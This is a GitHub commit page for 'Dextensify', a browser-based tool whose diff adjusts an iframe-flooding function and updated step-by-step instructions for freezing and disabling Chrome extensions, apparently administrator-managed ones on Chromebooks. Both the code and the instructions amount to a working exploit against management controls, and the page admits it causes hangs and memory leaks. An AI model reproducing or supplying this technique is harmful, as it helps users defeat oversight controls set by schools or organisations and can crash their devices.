Skip to content

Commit

Permalink
memory leak now half fixed
Browse files Browse the repository at this point in the history
  • Loading branch information
ading2210 committed Aug 20, 2023
1 parent 11ca279 commit 26fbbe4
Show file tree
Hide file tree
Showing 3 changed files with 9 additions and 8 deletions.
2 changes: 1 addition & 1 deletion data_url.txt
Original file line number Diff line number Diff line change
@@ -1 +1 @@
data:text/html;base64,PCFkb2N0eXBlIGh0bWw+PGh0bWwgbGFuZz1lbj48dGl0bGU+RGV4dGVuc2lmeTwvdGl0bGU+PG1ldGEgY2hhcnNldD11dGYtOD48bWV0YSBjb250ZW50PXdpZHRoPWRldmljZS13aWR0aCBuYW1lPXZpZXdwb3J0PjxzdHlsZT4qe2ZvbnQtZmFtaWx5OlNhbnMtc2VyaWY7Y29sb3I6I2Q0ZDNkYX1he2NvbG9yOiM2ZGFlYmR9YTpob3ZlciB7Y29sb3I6IzRmOWViMH1jb2RlLHByZXtmb250LWZhbWlseTptb25vc3BhY2U7YmFja2dyb3VuZC1jb2xvcjojMWUyMzI0O3BhZGRpbmc6NHB4O292ZXJmbG93LXg6YXV0b31wcmV7cGFkZGluZzo4cHh9cHJlIGNvZGV7YmFja2dyb3VuZC1jb2xvcjp0cmFuc3BhcmVudDtib3JkZXI6bm9uZTtwYWRkaW5nOjB9Ym9keXtiYWNrZ3JvdW5kLWNvbG9yOiMxZTIzMjQ7d2lkdGg6MTAwJTtoZWlnaHQ6MTAwJTttYXJnaW46MH1idXR0b257YmFja2dyb3VuZC1jb2xvcjojMzM2MjZjO3BhZGRpbmc6NnB4O3BhZGRpbmctbGVmdDo4cHg7cGFkZGluZy1yaWdodDo4cHg7Ym9yZGVyOnRyYW5zcGFyZW50O2ZvbnQtc2l6ZToxNXB4fSNtYWluX2RpdnttYXgtd2lkdGg6ODAwcHg7b2JqZWN0LWZpdDpjb250YWluO2JhY2tncm91bmQtY29sb3I6IzI1MmIyZDtwYWRkaW5nOjRweDtwYWRkaW5nLWxlZnQ6MTZweDtwYWRkaW5nLXJpZ2h0OjE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T0YgQU5ZIEtJTkQsIEVYUFJFU1MgT1IKSU1QTElFRCwgSU5DTFVESU5HIEJVVCBOT1QgTElNSVRFRCBUTyBUSEUgV0FSUkFOVElFUyBPRiBNRVJDSEFOVEFCSUxJVFksCkZJVE5FU1MgRk9SIEEgUEFSVElDVUxBUiBQVVJQT1NFIEFORCBOT05JTkZSSU5HRU1FTlQuIElOIE5PIEVWRU5UIFNIQUxMIFRIRQpBVVRIT1JTIE9SIENPUFlSSUdIVCBIT0xERVJTIEJFIExJQUJMRSBGT1IgQU5ZIENMQUlNLCBEQU1BR0VTIE9SIE9USEVSCkxJQUJJTElUWSwgV0hFVEhFUiBJTiBBTiBBQ1RJT04gT0YgQ09OVFJBQ1QsIFRPUlQgT1IgT1RIRVJXSVNFLCBBUklTSU5HIEZST00sCk9VVCBPRiBPUiBJTiBDT05ORUNUSU9OIFdJVEggVEhFIFNPRlRXQVJFIE9SIFRIRSBVU0UgT1IgT1RIRVIgREVBTElOR1MgSU4gVEhFClNPRlRXQVJFLjwvcHJlPiA8cCBzdHlsZT1mb250LXNpemU6MTNweDt0ZXh0LWFsaWduOnJpZ2h0PjxpPlZlcnNpb24gMS4wcjQ8L2k+PC9wPjwvZGV0YWlscz48L2Rpdj4=
2 changes: 1 addition & 1 deletion index.html
Original file line number Diff line number Diff line change
Expand Up @@ -73,7 +73,7 @@ <h1 style="margin-top: 8px">Dextensify</h1>
<hr>
<details>
<summary style="margin-bottom: 8px;">
Made by <a href="https://ading.dev" target="_blank">ading2210</a>. This file is licensed under the MIT license.
Made by <a href="https://ading.dev" target="_blank">ading2210</a>. This project is licensed under the MIT license.
</summary>
<pre>MIT License
Copyright (c) 2023 ading2210
Expand Down
13 changes: 7 additions & 6 deletions main.html
Original file line number Diff line number Diff line change
Expand Up @@ -169,21 +169,22 @@

function create_iframes(public_url) {
let iframes = []
let iterations = 0;
let iterations = 5;

while (true) {
let iframe = document.createElement("iframe");
document.body.append(iframe);
iframes.push(iframe);

let subframe_count = Math.max(2, 200 - iterations);
for (let i=0; i<50; i++) {
let subframe = document.createElement("iframe");
subframe.src = public_url;
subframe.style.width = subframe.style.height = "1px";
iframe.contentDocument.body.append(subframe);
}

while (iframes.length > Math.max(3, 10-iterations)) {
while (iframes.length > Math.max(1, 10-iterations)) {
iframes[0].remove();
iframes.shift();
}
Expand All @@ -204,9 +205,9 @@ <h2>Instructions</h2>
<li>Open chrome://extensions in a new tab. Keep this page open.</li>
<li>Go to the settings page for the extension you want to disable.</li>
<li>On this page, click the "freeze extension" button.</li>
<li>Back on the chrome://extensions page, click on the "allow access to file URLs" switch.</li>
<li><s>Go back to this page and click the "freeze extension" button a few times.</s></li>
<li><s>The extension should now be disabled. For the effect to last, keep this page open.</s></li>
<li>Back on the chrome://extensions page, spam the "allow access to file URLs" switch for a few seconds.</li>
<li>The extension should now be temporarily disabled. For this effect to persist, flip the "allow access to file URLs" again every few minutes, or if pages start getting blocked again.</li>
<li>You may also need to reopen this page every once in a while to prevent an unavoidable memory leak from crashing the system.</li>
</ol>
<p>During this process, your Chromebook may hang momentarily. This is normal, and it should resolve itself after a few seconds.</p>
<div id="buttons_container">
Expand Down Expand Up @@ -238,7 +239,7 @@ <h2>Instructions</h2>
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.</pre>
<p style="font-size: 13px; text-align: right;"><i>Version 1.0r2</i></p>
<p style="font-size: 13px; text-align: right;"><i>Version 1.0r4</i></p>
</details>
</div>
</body>
Expand Down

0 comments on commit 26fbbe4

Please sign in to comment.